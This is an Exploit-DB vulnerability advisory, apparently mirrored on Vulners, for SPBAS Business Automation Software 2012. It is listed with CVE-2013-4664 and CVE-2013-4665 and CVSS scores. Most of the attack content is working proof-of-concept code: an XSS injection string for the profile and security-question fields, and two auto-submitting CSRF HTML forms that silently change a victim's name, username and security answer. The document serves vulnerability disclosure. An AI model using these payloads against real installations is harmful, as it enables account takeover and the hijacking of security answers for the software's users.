SPBAS Business Automation Software 2012 - Multiple Vulnerabilities
🗓️ 17 Jun 2013 00:00:00Reported by Christy Philip MathewType 
exploitdb🔗 www.exploit-db.com👁 47 Views
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | CVE-2013-4664 | 27 Dec 201918:40 | – | circl |
| CVE-2013-4665 | 27 Dec 201918:40 | – | circl |
 | CVE-2013-4664 | 27 Dec 201915:44 | – | cve |
| CVE-2013-4665 | 27 Dec 201915:46 | – | cve |
 | CVE-2013-4664 | 27 Dec 201915:44 | – | cvelist |
| CVE-2013-4665 | 27 Dec 201915:46 | – | cvelist |
 | EUVD-2013-4517 | 7 Oct 202500:30 | – | euvd |
| EUVD-2013-4518 | 7 Oct 202500:30 | – | euvd |
 | CVE-2013-4664 | 27 Dec 201916:15 | – | nvd |
| CVE-2013-4665 | 27 Dec 201916:15 | – | nvd |
10
# SPBAS Business Automation Software- XSS & CSRF Vulnerability
# Date: 16 June 2013
# Author: Christy Philip Mathew - www.offcon.org
# Vendor or Software Link: http://www.spbas.com
# Version: 2012
*1.XSS Vulnerability*
(a) Client Area -> My Info -> Update the first name and last name to
john"><img src=x onerror=prompt(0);>
(b) Update the security question to
john"><img src=x onerror=prompt(0);>
*2.Cross Site Request Forgery*
(a) Change Customer Information
<html>
<body onload=document.forms[0].submit();>
<form action="http://website.com/customers/index.php" method="POST">
<input type="hidden" name="task" value="my_account" />
<input type="hidden" name="tab" value="my_info" />
<input type="hidden" name="update_my_info" value="y" />
<input type="hidden" name="first_name" value="hacked" />
<input type="hidden" name="last_name" value="hacked" />
<input type="hidden" name="username" value="hacked" />
<input type="hidden" name="form_submission"
value="Save Changes" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
(b) Change Security Question Answer
<html>
<body onload=document.forms[0].submit();>
<form action="http://website.com/customers/index.php" method="POST">
<input type="hidden" name="task" value="my_account" />
<input type="hidden" name="tab" value="security_question" />
<input type="hidden" name="change_security_question"
value="y" />
<input type="hidden" name="question" value="1" />
<input type="hidden" name="answer" value="test" />
<input type="hidden" name="form_submission"
value="Save Changes" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jun 2013 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 24.3
CVSS 3.16.5
EPSS0.02219